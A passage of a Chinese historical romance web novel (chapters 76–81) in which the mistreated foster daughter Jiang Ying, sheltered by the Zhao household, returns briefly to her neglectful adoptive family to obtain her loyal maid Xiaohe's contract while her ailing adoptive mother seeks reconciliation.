姜承祁吩咐下人再熬一碗药送来,刘氏边流泪边摇头道:“我不要吃药,祁儿,你去把阿池叫回来,她最心疼我,不会不回来的。”
姜承祁头疼不已,“阿娘,阿池这会儿估计才对我们改观,咱们得循序渐进……你放心!我把她那些药膳的手札也送过去了,她看见肯定会想起你!”
刘氏咳得嗓子生疼,像是有刀子在割一样。
她默默流泪,心中甚至生出一丝后悔。
她不该纵容阿宝的……
如果不是因为事情闹的太过,这会儿贴身照顾她的,一定是阿池!
她那么懂事,又一贯细心。
知道她不喜欢吃药,就变着法地给她做药膳、调理身体。
每一回生病,也都是她衣不解带地守在身边。
说什么都不肯离开。
为了照顾方便,她甚至心甘情愿在房里打地铺。
过往的点点滴滴涌现心头。
平时还没感觉,一旦生病,刘氏就感觉到了姜璎的好处。
“阿池……阿娘知道错了。”刘氏在心里道,虽然她最爱的还是阿宝,但如果姜璎愿意回来,她一定会好好弥补之前犯的错!
“阿嘁!阿嘁!”
姜璎一连打了好几个喷嚏。
王氏被迫中止对赵咎的训斥,转头关怀道:“可是昨晚上冻着了?”
赵咎立马道:“还是搬回蓼莪院……”
话没说完就被赵咨瞪了一眼。
“你还有脸开口!真是越发不知道天高地厚,连那种话都说得出来!一会儿去给姑母赔个不是。”
第76章 溺爱
“不去。”
赵咎吐出两个字,冷淡的态度惹恼了赵咨。
“你看看你现在像什么样子!”他面沉如水,先前推了治水的差事也就罢了,后面抢亲一事闹得沸沸扬扬,还要让太后娘娘和陛下帮忙收拾烂摊子。
已经过去的事儿,赵咨懒得揪着不放。
但是这次,要是让别人知道他把赵老夫人气晕过去,就算有陛下袒护,也难保不会被扣上一个“忤逆不孝,狂悖自大”的恶名。
大魏的官场最是看中名声。
所以赵咨怎么都想不通,自家这个宝贝疙瘩到底哪根筋搭错了非要和赵老夫人过不去?
赵咎是几位兄嫂看着长大的,卫国公因妻子的死迁怒幼子,甚至不愿意看见这个儿子。赵咨为人子不好言说父亲的不是,又到底心疼弟弟,便主动承担起教养的责任。
赵咨的行事准则一贯是与人为善,做事留一线。他也时常教导赵咎,没有斩草除根、永绝后患的把握,就算心里再恨,面上也要云淡风轻,笑脸相迎。
切莫让人抓住把柄。
结果呢?
道理全说到狗肚子里去了!
“都快要成家的人了,还这么不懂事!”赵咨越想越生气,他原本都已经给赵咎安排好了中书舍人的官职,只等人告老还乡,赵咎就能上任。
“就算姑母有再多不是,她也是长辈,你就不能忍忍?”
“忍不了。”赵咎道,“她想把孙女塞给我,当我是收破烂的?”
这下,就连王氏都微微皱眉,“阿劫!”
朱季灵好歹也是一个未婚女郎,他怎么能这么刻薄?
气氛冷凝下来。
姜璎总觉得自己该说点什么,才张开嘴,就被赵咎以眼神制止。
三、二、一……他在心里默数。
“出什么事儿了,怎么这么热闹?”
随着一道明朗的笑声落地,仆婢挽起竹帘,一个修长而俊美的青年走进来,身后是郑氏并两个孩子。
“小叔!”
赵恪一见赵咎,就跟脑残粉看见偶像一样扑了上来,手脚并用死死缠着赵咎。
“小叔,我可想你了!你都好久好久没有陪我玩儿了……”赵恪可怜巴巴道。
“大伯,大伯母,小叔,姜姑娘。”赵怀跟小大人似的,姿态恭谨,向长辈一一行礼。
兄弟二人性格天差地别,看得郑氏手痒想打人!
有孩子在场,赵咨收敛起怒容,问赵哲道:“你怎么过来了?”他眼神流露一丝怀疑,难道是臭小子让人通风报信找来的救兵?
面对长兄的审视,赵哲气定神闲,摊了摊手道:“大兄也看见了,三郎闹着非要来找阿劫,我是真拿他没办法。”
赵咨冷哼一声。
“来的正好,管管你这宝贝弟弟!口无遮拦,闯下大祸,如今还不肯去姑母那赔礼认错!”
“……这也不光是我一个人的宝贝弟弟啊。”赵哲一脸无辜,“真要三堂会审,也得等老四回来,大家一起商量着办,总不能就逮我一个不放吧。”
郑氏低头偷笑。
王氏无可奈何,见丈夫愈发生气,打圆场道:“阿劫如今正是年少轻狂的年纪,说错话也没什么大不了。”
“大嫂说的是,阿劫是我们最小的弟弟,就是太后娘娘都宝贝的不得了,姑母身为长辈,难不成还能跟小辈计较不成?”
赵哲摆了摆手,“姑母没那么小气!”
郑氏也跟着道:“大兄放心,我已经派人送了上好的灵芝过去给姑母煲汤,用来补气安神再好不过。”
如此夫唱妇随,堵得赵咨说不出话来。
再看赵咎,轻轻捏着赵恪的脸蛋,跟逗猫似的,事不关己高高挂起,让人忍不住窝火。
“你……”
“好了好了,你先出去!”赵哲趁长兄发火之前,把赵咎赶了出去。
“那侄儿也,也先告退。”赵怀连忙道,“就不打扰大伯、大伯母了。”
“小叔!你等等我!”赵恪干嚎一声,还不忘拉上姜璎一起跑。
这一下,赵咨还有什么看不明白的,他们一家四口就是来帮赵咎脱身的!
“你就惯着他吧!惯得他越来越不像话!”说完赵咨气得不行,直接甩袖离去。
王氏摇了摇头,对赵哲夫妻俩道:“你们也去劝劝阿劫,姑母再不好,敬着远着就是了,何必拿自己的名声赌气?”这不是伤敌一千自损八百吗?
赵哲嘴上道:“是是是,大嫂你放心,我一定好好说阿劫!真是太不像话了!”
夫妻俩来得快,走得也快。
赵怀知道父亲和小叔要谈正事,先一步带走了弟弟。
赵恪还不肯走,被赵咎扒拉开双手后,又眼疾手快抱着姜璎不放。
赵恪得意洋洋,这叫挟天子以令诸侯!他也是认真读过《左传》的!
“还不快松手!”赵咎瞪他一眼,是你媳妇儿吗你就抱?一点儿边界感都没有!
赵咎刚拎住赵恪衣领,他就发出小猪一般的嚎叫,水汪汪的杏眼实在惹人怜爱,姜璎连忙道:“赵九郎君,你别打他。”
赵咎:“?”
哇塞。
“三郎,不许胡闹。”赵哲看够了热闹,才出声道,“你先跟阿兄回去,等你小叔空了,再让他带你出去玩。”
“我不!”赵恪抱着姜璎不放,他只是年纪小,又不是脑子笨,小叔空了第一件事就是找小婶婶,哪里愿意带他玩儿?他就要跟着姜璎!
“不然……就让三郎君先跟着我吧?”姜璎道。
“也行。”赵哲抢先道,看了一眼赵咎,“你跟我过来。”
到了书房,赵哲开门见山道:“你当真梦到父亲身死,大兄遇袭?还有什么,都一并说了吧。”
“我说了你可不许翻脸。”
赵哲瞪他一眼,“我是那种人吗?”
郑氏坐在一边,听的云里雾气,“阿劫,你这做的什么梦?也忒不吉利了。”
赵咎清了清嗓子,“二嫂,二兄在外头养了个女人。”
“……”
“……”
一片死寂后,郑氏双目喷火,“赵少凌!你敢背着我在外头养女人!”
赵哲不可置信地看向赵咎,后者摸了摸鼻子。
“赵少凌!”
“我没有!媳妇儿我真没有!”
赵哲来不及躲闪,身上挨了好几拳,就差泪洒当场了,赵咎你个小王八蛋!有你这么害自己亲哥的吗?!
赵咎咳了一声,象征性阻拦了一下,“二嫂,那个女人,其实是二兄恩师的女儿,他们没做对不起你的事儿。”
顿了顿,他又道:“我梦见有人以此为由,污蔑二兄私藏罪犯……
第77章 旧人
前世的记忆如走马观花般浮现眼前,一切历历在目,仿佛收殓兄长的尸身犹在昨日。
赵咎强压下心口的悸痛,以一个局外人的身份平铺直叙地讲述了整个事情经过。
从赵哲为证清白,自刎而亡,到郑氏撞棺殉情,以明情志,以及赵怀和赵恪兄弟二人溺水身亡的罪魁祸首。
说到最后,书房已然寂静无声。
郑氏捏紧帕子,轻咬着唇,大颗大颗的眼泪骤然滚落,她捂着嘴才忍住哽咽。
“别哭别哭,这不是还没发生吗?”赵哲边哄边给妻子擦泪,语带调笑道,“大魏公侯嫡子,还真是我能说出的话。”
郑氏通红着眼眶瞪他,“都什么时候了你还有心思开玩笑!”
赵哲一脸无辜,“这不是梦吗?说说也不行?如此英勇赴死,想来他日魏史之中,吾必能千骨留名——啊!”
赵哲发出一声惨叫!
郑氏狠狠拧着他的腰,尤不解气,又踩他一脚,“就知道惦记这些虚名!”
夫妻俩对赵咎所言没有丝毫怀疑。
一来,赵咎不是信口开河、满嘴胡言的人,二来,这种事情听着荒谬,但确确实实是他们夫妻能做出来的。
赵咎低声道:“二嫂,对不起,我没有照看好二郎和三郎……”
“那是他们自己蠢笨!”郑氏打断他的话。
“怎么就跟你二嫂说对不起?这儿子又不是她一个人的。”赵哲才说完,又挨了一下打。
赵咎看着他们,想笑,又笑不出来。
“赵老妪狠下毒手,是为罪魁祸首,我疏忽大意,亦难逃过错。”
兄嫂待他如亲子,悉心教导、处处疼爱。
结果家里出了事,他却连保全兄嫂的骨血都做不到。
纵然后来亲自报仇诛杀赵老妪,二郎三郎也回不来了。
“怎么就是你的错了?没有的事儿!”郑氏抓着赵咎的手臂,不许他责怪自己。
“是二嫂自私,要随你二兄而去……二嫂把一切都扔给你,该说对不起的人,是我才对。”
郑氏深吸一口气,声线不稳,眼中含泪,几乎泣不成声。
她不知道梦里的赵咎是怎么熬过来的。
至亲至爱的家人一个接一个的离世,他怎么受得了啊?
“阿劫,你受苦了……二嫂对不起你。”郑氏哽咽道。
她是全了夫妻情意,却让赵咎眼睁睁看着自己撞棺自尽。
光是想到那种场景,郑氏的心就跟着抽疼起来。
“二嫂。”赵咎一时失语。
为什么不怪他?
为什么还要心疼他?
“你骂得好!赵老妪可不就是老而不死是为贼!”赵哲递来一块帕子,郑氏擦了擦眼睛,安慰赵咎道,“你放心,我和你二兄永远是站在你这边的!”
那老不死的东西动她儿子还不够,如今又来打赵咎主意,活不耐烦了就去死!
赵哲沉吟道:“大兄那边……”
“先瞒着。”赵咎道。
赵咨是典型的儒家思想,对鬼神一说向来敬而远之。身为家族冢子,他比赵哲更像一个合格的政客,绝不会因为赵咎三言两语而妄下定论,改变计划。
这也是为什么赵咎愿意跟赵哲说这些的原因。
他需要同盟帮手,一起铲除潜在的隐患。
“说这么多,还不是想拖我下水。”
赵哲哼了一声,听到外头赵恪咋咋呼呼的声音,摆了摆手道,“行了行了,我心里有数,你自去忙吧。”
赵咎知道赵哲心里已有成算,也不再多说。
赵哲深深地看了一眼幼弟的背影,忽然叫住他。
“阿劫。”
赵咎回头。
赵哲道:“把这个梦忘了吧。”
他们还没死呢,不至于让赵咎背负所有的一切。
赵咎很轻地“嗯”了一声,走出书房,光照在身上,驱散了一直以来挥之不去的阴霾。
“赵九郎君!”
“小叔!”
一大一小朝着他而来。
赵恪跑得气喘吁吁,姜璎跟在他身边,额头浮起细汗。
赵咎掏出帕子,赵恪自觉仰头闭眼,乖乖等着小叔给自己擦汗。
赵咎瞥他一眼,“一边儿去。多大个人了,还好意思让我给你擦汗,自己没长手吗?”
赵恪被数落得灰头土脸。
结果一转头,就看见赵咎抬手给姜璎擦汗。
“头发都湿了,走这么急做什么?”
絮语不止,看似数落,却眉眼藏笑。
赵咎拨弄了一下姜璎额前的碎发,捧着她的红扑扑的脸蛋问,“是不是等久了?”
“没有。”
“有!!!”赵恪满脸愤怒,就像一头小牛,“小叔你偏心!”
“我们等你这么久,你就只问她!还给她擦汗!”
“她是谁?”赵咎收敛了笑意。
“小婶婶…”赵恪一下子蔫巴了。
赵咎这才满意,问他:“等我做什么?我可没空陪你玩。”
赵恪仰头看他,圆溜溜的眼睛闪过一丝狡黠,指着姜璎道:“小婶婶想要荷花!小叔,你带我们去摘荷花和莲蓬吧!”
姜璎震惊地睁圆了眼睛。
“我……”
“婶婶!”赵恪一把扑到她身上,“让小叔给我们摘莲蓬,我给你剥莲子吃!”
扑闪扑闪的杏眼充满期待,硬生生让姜璎把剩下的话给咽了回去。
她没忍住摸了摸赵恪的脸蛋,然后用同样期待的目光望向赵咎。
“……”
一刻钟后,赵恪提着满是莲蓬的竹篮笑的牙不见眼,得寸进尺道:“小叔!我还想……”
“九郎!”
归南急匆匆赶来,在赵咎耳边低语了几句。
赵咎面色微变,对姜璎道:“阿池,我找二兄说点事。”
姜璎抱着七八支含苞待放的荷花,乖巧地点了点头。赵恪也见好就收,提着满篮子的莲蓬高高兴兴满载而归。
回到院子,姜璎让人找了个合适的花瓶,把荷花插起来。
其中一朵即将盛开,轻轻摇晃间,花瓣徐徐散开,露出里头嫩黄的莲心。
“姑娘。”香薷得到底下人的禀报,走进来低声道,“永安侯府大公子又来了,这回还带了个人,说是以前伺候您的丫鬟,您一定会想见。”
香附撇了撇嘴,从主子到下人,怎么一个个的都不肯消停?
姜璎侍弄荷花的动作微微一顿。
香薷道:“那丫鬟说自己叫小荷。”
小荷……
永安侯府的家生子,很小的年纪就跟在姜璎身边,却因为在姜宝瑜面前说错一句话,被送到庄子上干活。
姜璎也曾为她向刘氏他们求情,但是没有用。
最后只能认命。
她连自己都保护不好,或许,小荷离开她,不失为一条活路。
如今,姜承祁竟然把她给找回来了。
第78章 要求
外男不得入内院,姜璎换了身家常的豆绿色深衣,沿着抄手长廊往前院走去。
不多时,便见前厅人影绰绰,一坐一立。
姜璎一出现,那坐着的人便迅速起身,三两步迎上前来,饱含真情地唤道:“阿池!”
姜璎微不可查地皱了下眉,并未理会。
此刻,她的目光全都落在了小荷身上。
“姑娘……”
矮瘦矮瘦的女孩怯怯地喊了一声,皲裂而粗糙的手指紧张地捏着衣角,泪水在眼眶打转,却不敢如同从前一般靠近。
她比姜璎矮半个头,两人从小一起长大,身形都是一贯清瘦。
但如今,姜璎却宛如脱胎换骨一般,眼神明亮,仪态万方,浑身上下散发着一种淡雅而宁静的气质,不管怎么看,都是富贵窝里出来的高门贵女。
如果不是相貌未变,小荷甚至都不敢认。
她越发自卑惶恐,心里不由产生动摇……或许,她不应该过来打扰姑娘的。
“奴婢拜见姑娘!”小荷回过神来,连忙行跪拜之礼。
只是额头还未磕碰地面,手臂便被人轻轻握住,托了起来。
“小荷。”上方传来了柔软清悦的声音。
听着这熟悉的称呼,小荷终于忍不住大哭起来,“姑娘!”
姜璎取出帕子给她擦眼泪,强忍着喉间哽咽,柔声安慰道:“没事儿了,没事儿了。”
帕子柔软馨香,是小荷这辈子都接触不到的上等布料。
她的理智稍稍回来,赶忙推脱,胡乱地用粗布衣袖擦了擦脸,“多谢姑娘厚爱……”
姜璎心口闷疼一瞬。
哪怕早有准备,可看见小荷如今的情况,她还是无法自控地恨上了姜宝瑜。
就因为小荷帮她说了一句话,她便以顶撞主子的罪名将她赶到庄子上做苦役。
姜璎抓着小荷的手,每根手指都有皲裂的伤口,她甚至不敢用力,“都是我不好,害你受苦了。”
听到这话,小荷连连摇头,她是姑娘的贴身丫鬟,姑娘过的不好,她身为丫鬟又岂能幸免遇难?倒是如今姑娘重新获宠,她也可以从庄子上回来。
想到这,小荷比任何人都高兴!
真是老天有眼!老爷夫人还有大公子,都发现了姑娘的好!
姜承祁原本还有些心虚,但见小荷狼狈的脸上满是笑容,不见丝毫阴霾,他又松了口气。
“阿池,你先前不是一直想着小荷吗?我特意把她带过来看你。”语气难掩邀功。
“姑娘,你现在住在卫国公府吗?”小荷关心地看着姜璎,她身上本就没几两肉,如今更是瘦骨嶙峋、鸠形鹄面。
姜璎点了点头,柔声道:“小荷,你要不要,留在我身边?”
小荷愣了一下,似乎有些没有明白姜璎的意思,“姑娘,你不回侯府了吗?”
姜璎摇了摇头,“在成亲之前,我会一直住在卫国公府。”
小荷脱口而出:“可是、可是老爷和夫人都病了!”
她是忠仆,至今还牢牢记着去年冬日的时候,姑娘拉着她一起窝在床榻,两人共盖一床被褥。
夜深人静,姑娘苦恼又低落地喃喃:“小荷,是不是我哪里做得不够好?为什么,阿爹阿娘最近都不愿意见我……”
小荷不明白,姑娘哪里做的不够好?她日日勤勉,夜夜反思,姑娘明明再好不过了!
小荷努力给姑娘暖被窝,信誓旦旦保证道:“兴许是老爷夫人这几日太忙了,所以没能顾上姑娘,等他们忙完,肯定会看到姑娘为他们做的一切!”
如今,这一日终于到来。
老爷和夫人,还有大公子发现了大姑娘的表里不一,明白只有姑娘才是最孝顺懂事的那一个。
小荷道:“姑娘,夫人病得好严重,从前的咳疾又犯了,断断续续,一直不好。”
姜璎微微侧目,姜承祁连忙道:“阿池,阿娘原本都快要到乡下,结果半路生病,起了高烧,发了一身的疹子……那边没什么好郎中,这才紧赶慢赶回来的盛京。”
提到母亲的病,姜承祁露出愁容。
“好不容易疹子褪掉,又犯起咳疾,阿池,你知道的,阿娘她一向不爱吃药,这两日咳的厉害,都咳出血来了。”
小荷一听立马急了,“姑娘,咱们快回去看看夫人吧。”
姜承祁看向姜璎的目光满是殷切期望。
“阿池,阿娘的身体一直都是你在照顾,她每次生病,只肯吃你做的药膳。”
姜璎忍不住想说,没有我,难道刘氏还能死了不成?
但小荷紧张地绞着手,似乎并不明白姜璎为何沉默不语,“姑娘?”
姑娘不是一直希望得到老爷夫人的认可,同他们亲近吗?
大姑娘不在,眼下就是表现的大好机会啊。
“小荷……”拒绝的话到嘴边,却怎么都说不出口。
姜璎可以对永安侯府的任何一个人狠下心肠,唯独小荷。
对于这个从小陪伴自己的奴仆,她内心始终藏着歉疚。
“阿池!”姜承祁看出姜璎的动摇,心中不由一喜!
他就知道姜璎心里还是割舍不下亲情!
果然送走阿宝是他们最正确的决定。
姜承祁暗暗下定决心,看来还是得继续委屈阿宝,左右也就是她做错事情在先,等什么时候阿池消气了,再接她回来也不迟。
毕竟,只有他和父亲仕途顺利,阿宝才能找到一门好亲事不是吗?
姜承祁努力游说道:“阿池,我知道你心里还有气,但阿娘的身体更重要不是吗?你鲜少同父亲接触,但阿娘不一样,你还记不记得你小的时候,阿娘不止一次搂着你哄你入睡。”
小荷点了点头,她记得,那是姑娘最幸福的时候了。
为此她们私下里一度期盼能够夜夜暴雨雷鸣。
这样,拥有夫人的怀抱,就可以久一些,再久一些。
“姑娘,夫人没有你不行的,病都不会好。”小荷单纯地说,“奴婢来之前,还听见夫人一直念着姑娘的名字呢。”
还有一句话,小荷当着姜承祁的面不敢说。
那就是,
她觉得夫人好像已经知道错了。
姜璎握住小荷的手,抬眼看向姜承祁,“我可以回去,但是——”
“但是什么?”
姜承祁一时喜形于色,连忙保证道:“阿池,只要你能让阿娘咳疾好转,我愿意把命都给你!”
姜璎面无表情道:“我不要你的命。”
净给些不值钱的玩意儿。
第79章 目的
“我要小荷的身契和户籍。”姜璎直截了当道。
小荷愣在原地。
姜承祁却以为妹妹心疼自己,面上露出笑容。
他就说这些年相处下来的情谊,怎么可能在短短时间里消失得一干二净?更何况,从前姜璎最依赖的就是他这个阿兄。
如此小小要求,姜承祁自然满口答应。
在他看来,这就是姜璎释放“和好”的信号,只是她性子别扭,不善言辞,所以才会如此拐弯抹角。
姜璎难得主动提出想要的东西,身为兄长,他又怎么能不满足她?
眼见姜璎要跟着姜承祁离开,香薷香附连忙道,“姑娘,此事事关重大,要不还是先问过九郎和夫人。”
姜璎现在没那么怕赵咎了,想了想道:“我不在那儿留宿,几个时辰就回来。香薷,你别告诉他。”
香薷吸了口气,稳重的脸上难得出现紧张的神色,瞒着九郎?这、这……不是要她老命吗!
但看着姜璎认真的脸蛋,香薷咬了咬牙,点头道:“奴婢听姑娘的。”
一仆不侍二主。
她先前好几次跟九郎通风报信,姑娘想来也是心知肚明,只是没同她计较。
香薷也知道自己不如香附忠心,如今姑娘提起,是给她机会,她万不能一错再错!
香薷吩咐了底下人去准备牛车,姑娘出门,少不得伺候的人,仆婢下人统统都得跟上,要不然被永安侯府的人欺负了怎么办?
“阿池!快走吧,阿娘还在家里等着我们呢!”姜承祁在前头催促道。
姜璎也懒得再去换衣服,不远不近地跟在姜承祁身后。
到了大门口,姜承祁还想扶着姜璎上车,表现一下兄长的体贴,结果姜璎看也不看他,径直踩着矮凳坐上赵家的牛车。
姜承祁丢了面子,心里怪不是滋味,没想到她在卫国公府享福习惯,连家里的牛车都看不上了。
从前怎么没见她这样娇生惯养?
“罢了,男子汉大丈夫,这点胸襟还是要有的。”姜承祁安慰自己。
姜璎是被赵咎带坏了,移了性情,等日后回到家里,有母亲的教导,她肯定还会变得和从前一样恭顺懂事。
想到这,姜承祁长舒一口气。
殊不知,姜璎早已将这一切收入眼底。
她放下帘子,“走吧。”
香薷等人坐在外间,唯独小荷,陪在姜璎身边。
她满脸震惊,小声道:“姑娘,奴婢还没坐过这么宽敞舒服的牛车,这比我在庄子上的住处还好呢!”
姜璎轻轻拉过她的手,从车厢暗格里取出常备的伤药,给她抹上药膏,低声道:“小荷,以后会越来越好的。”
以前她无能为力,只能眼睁睁看着小荷被婆子拖走,无论她怎么哀求认错,哪怕跪在姜宝瑜面前,也没人理会。
姜承祁甚至呵斥她,“姜璎,你能不能懂点事,别一而再再而三地得寸进尺!”
“一个丫鬟,冒犯到主子头上,就是打死也不为过,阿宝已经看在你面上饶她一命,你还要怎么样?”
那时的姜璎小心翼翼攥着姜承祁的衣袖,强忍泪水道:“不是这样的,阿兄……”
她只是打了个小小的哈欠,被姜宝瑜看见,笑盈盈地问她昨夜莫不是去做贼了?
小荷有什么说什么,“大姑娘,玩笑不能乱开,我们姑娘昨夜一直在屋里抄经书。”
话刚说完,就挨了一个巴掌。
所谓的顶撞冒犯,不过是因为姜璎犯困的一个哈欠。
因为她没有根基,毫无分量,所以没有人在乎她的感受。
她如草芥,小荷亦是。
但现在不一样了。
或许是被爱让人充满勇气,曾经旧伤未愈的缺口也得到了温暖的慰藉。
赵咎强势之下的耐心引导,更是无时无刻表明着心意。
姜璎不再孤身一人,无论是赵咎、王氏,还是梁女君,他们都在无形之中达成一致的默契。
悉心栽种一株营养不良的幼芽,需要大量的时间精力,还有物质上的给予。
可他们心甘情愿。
梁女君更是恨不得把这世上最好的一切都给姜璎。
拥有如此浓烈的爱,她自然不会再对从前的亲情有任何期许。
无所求,自然无所惧。
能谈的也就只剩下利益。
在卫国公府,姜璎可以冷静而强硬地同姜承祁说话,到了永安侯府,她照样能够做到。
“姑娘。”
牛车停了下来。
这一次,姜璎明显感觉出来走进永安侯府时,周围下人态度的明显大转变。
姜宝瑜的离开,让整个侯府都开始正视起这位曾经的替身,如今侯爷夫人心心念念的“爱女”。
小荷也感受到了大家的恭敬,不自觉挺了挺背,她一定不能给姑娘丢脸!
“二姑娘回来了!”管家脸上满是热情的笑容,“侯爷啊可是天天念叨着您呢!”
“让你给阿池重新安排的新院子,弄好了没有?”姜承祁问道。
“弄好了,老奴都弄好了!”
姜璎没说自己不会留下,说了肯定少不得纠缠,到时候姜承祁要是反悔不给身契怎么办?
到了刘氏的院子,顿时一股浓重而苦涩的药味儿扑面而来。
“哗啦——”一声脆响,药碗在地上四分五裂。
温热的药汁洒得一干二净。
惊呼声响起。
“伯母,您、您怎么能不吃药呢?”
姜璎眸光一闪,香薷香附也听出了这个声音的主人。
张琼华?
她不好好当她的孝子贤孙,侍奉赵老夫人,反倒跑来永安侯府,上赶着照顾未来婆母?
里头响起刘氏沙哑的痛骂,“我都说了我不吃、我不吃!你难道听不懂人话吗?!”
刘氏几乎要被折磨得崩溃。
这个张琼华,嘴上一大筐道理,不是让她吃这个吃那个,就是非要扶着她起来走动锻炼身体。
她都说了不吃,还硬要是把汤匙喂到她嘴边!
刘氏从来没见过如此蠢笨的人!
如果是姜璎,根本无需她多费口舌,只消一个眼神,她就能明白她的意思!
如此一想,刘氏简直悲从中来。
“阿池,你怎么就不肯回来看看阿娘?”
第80章 绕弯
外头,姜承祁听到母亲的呜咽声,也顾不得还有女眷在,忙拉着姜璎进去。
“阿娘,你看谁来了!”
“大公子……”张琼华看见未婚夫,脸颊不由一红,正要说什么时,就见姜承祁紧紧拉着姜璎的手不放。
张琼华忍不住心生妒意。
就算是嫡亲的兄妹,也应该保持距离才是,他们既无血缘关系,还在这拉拉扯扯。
这个姜璎未免也太不要脸了!
“阿池,你终于肯回来了。”刘氏看见姜璎,一时情难自禁,流下了泪水,“你这孩子,怎么能这么狠心,阿娘想你想的茶饭不思啊!”
说完哮喘发作,以帕捂嘴,急咳好一阵。
刘氏咳的几乎喘不过气来,痛苦得直捶胸,然而她一日未曾进食,早就虚弱得不行,哪里还有力气,眼看就要昏厥过去。
“阿池……”她沙哑着嗓子,朝姜璎伸出手。
不过短短数日,刘氏就衰老不少。
连日的舟车劳顿、病症发作,把这具耗费了姜璎无数心神精力调养好的身体直接弄垮大半。
姜璎看见帕子里的血迹,一时心绪复杂。
她到底还是上前扶了一把,拿了隐囊垫在刘氏身后,心平气和道:“夫人还是保重身体的好。”
刘氏紧紧地抓着她的手,“阿池,你是不是心里还怨着阿娘?”
姜璎摇了摇头。
永安侯府对她有救命养育之恩,只要他们愿意桥归桥、路归路,大家各自安好,她又何必为不相干的人怨恨伤心?
刘氏见姜璎摇头,还当她已经消气,心里难得生出那么一点儿愧疚。
“你向来懂事,都是阿娘不好,这些年委屈了你……”
说着又忍不住掉了几滴眼泪。
姜承祁笑着宽慰道:“阿娘,阿池回来了你该高兴才是,怎么还哭了呢?
边上的仆婢提醒道:“夫人一天没吃东西了,这嗓子都咳哑了。”方才还被张琼华气得不轻。
姜承祁一听,那还了得?这一顿不吃还好,一天不吃,就算是好好的人都要被饿垮身体,更被说刘氏还生着病。
“阿池,你赶紧的先去熬一碗鸡汤粥来,给阿娘垫垫肚子!”他无比自然地吩咐道。
仿佛只要回了永安侯府,姜璎就又是从前那个乖巧顺从的妹妹。
刘氏原本吃不下东西,被姜承祁一说,倒是难得生出一些胃口,夸道:“你熬的鸡汤粥,一点儿也不油腻,阿娘每回生病,只能吃得下你做的东西。”
姜璎平时存在感不强,但一到关键时候,大家又能想起她。
尤其生病的时候,就需要这样一个耐心细致的人贴身照顾。
刘氏肚子叫了几声,催促道:“阿池?”
这孩子,怎么还不去给她熬粥?难道想眼睁睁看着她饿死不成?
香薷等人哪里能容忍她们这样使唤姜璎,正要说话,就见姜璎微微垂眸,似歉意道:“我的手刚好前几日扭伤了,怕是不能亲自下厨。”
“什么?”
“怎么这么巧?”
姜承祁看着姜璎,不禁面露狐疑。
她不会还在生气阿娘帮着阿宝想要害她的事情吧?
但阿宝最后不是也没得逞吗?反倒是他,被姜璎一刀子捅伤,到现在都没彻底痊愈。
他这个受伤的人都没说什么,她难道还要一直斤斤计较?
张琼华不甘被忽视,立马道:“我这几日都在卫国公府,怎么不知道你扭伤了手?不愿意为夫人下厨就说不愿意,何必惺惺作态,找各种借口?”
这样的人,到底有什么好值得大公子他们惦记的?
刘氏却不肯相信,摇着头道:“不会的,阿池向来懂事,她不会撒谎的。”
姜璎心道,原来你一直都很清楚。
因为她懂事,所以可以肆无忌惮地伤害。
“张姑娘居住客院,如何能时时刻刻了解我的动静?难不成,我扭伤个手还要向你禀报吗?”
姜璎微微抬眸,脸上一闪而过怒色,语气冷硬道:“我还真当你们是想我了,才回来看看,没想到,是要我继续为奴为婢。”
“亏我还带了药膳手札,如今看来,好心也要被当作驴肝肺!既如此,我走就是了,何必留在这里平白让你们糟蹋!”
她起身要走,把姜承祁吓了一跳,连忙好声好气道:“当然不是,阿池,你多想了……”
刘氏也没想到姜璎如今脾气这么大,只能强忍着心中酸楚,先把人哄着留下,免得回头侯爷又责怪她连服软这点小事都做不好。
“阿池,阿娘自然是相信你的,既然你手伤去了,那、那就让下人去熬粥,也是一样的。”她哽咽道,“阿娘只是想念你的手艺,并没有非逼着你干活的意思。”
两人你一言我一语地安抚着姜璎,全然不顾张琼华的内心感受。
张琼华捏紧了手心,面色一阵红一阵白,她已经数不清这是第几次因为姜璎而下不来台!
“我自然是希望夫人身体安康的。”姜璎道。
这句话一出来,刘氏和姜承祁心里齐齐松了口气。
母子俩心里怪不是滋味儿。
真是风水轮流转,如今倒是反过来他们哄姜璎。
刘氏强颜欢笑,只能让下人接过手札,按照上头的步骤一一去熬粥。
这不看不知道,一看吓一跳。
就是庖厨都忍不住咂舌。
区区一碗鸡汤粥,竟然还有这么多道工序!
不仅鸡汤熬煮所需要用的食材精细,耗时耗力,熬好还要放冰鉴里冻一会儿,再把冻起来的浮油撇去……这也太麻烦了!
二姑娘为了夫人的身体,当真是挖空了心思!
刘氏可不知道下人们的感慨,她随便找了个由头打发了张琼华,而后拉着姜璎的手不放,让她坐到自己身边。
香附直接翻了个白眼。
嘴上说着知道错了,实际行动不照样还是没把姜璎当回事儿?
也不怕病气传染给姑娘!
姜璎顺着刘氏的意,陪她一起回忆过往,说着说着,话题就跳到永安侯身上。
刘氏愁容满面,“你阿爹与陆大人从无纠葛,也不知道怎么就得罪了他……连带着你阿兄的世子爵位,都跟着泡了汤。”
说到此处,更是伤心落泪。
“阿池。”
刘氏望着姜璎的目光饱含希冀,“我听说,那梁女君自称是你的姨母,既然都是一家人,你能不能请她过来坐坐,有什么误会,大家一起说开。”
第81章 达成
“误会?”
略带困惑的语气,让刘氏自以为看见了希望。
一旁的姜承祁更是目光紧紧盯着姜璎,眼睛一眨不眨,手指不自觉地蜷缩,神色略显不自然。
提及此事,哪怕场面话说得再好听,也不过就是低头求饶的意思。
姜承祁身上还有几分士族子弟的傲气,要不是实在没法子,哪里肯愿意这样低声下气、累及颜面?
他轻咳一声,“阿池,一家人不说两家话,既然都是亲戚,也没必要多生仇怨,你说是不是?”
刘氏抓着姜璎的手,声声殷切,句句软语,打起了亲情牌。
“我们母女情分十年,眼看着你就要及笄嫁人,我心里是一千个一万个不舍得。好孩子,这过去的种种,就让它过去吧,阿娘日后加倍疼你爱你,咱们一家好好的。”
刘氏的手保养的极好,相比之下,姜璎的指腹却因长年累月的磨损而生出细细的茧子。
她垂眸不语,让人难免心浮气躁。
姜承祁语气略急,“阿池,你若是心里有气,只管发出来!只是父亲如今赋闲家中,却是等不得太久!这官职被人占了去,再想拿回来就不是那么容易的事儿了。”
还有他的世子之位……
若无回旋余地,永安侯宁可再生庶子,也要保住家里的爵位!
后院的姬妾已经有两人怀上身孕。
眼看着原本铁板钉钉、属于自己的东西,就要和他失之交臂,这让姜承祁如何甘心?
“事关父亲的前程,这可不是闹着玩的!”姜承祁喉咙微微干涩,心急如焚,又不敢逼得太紧,只盼着姜璎能够识大体、懂点事。
她也是永安侯府的一份子,如今家里有难,岂能袖手旁观?
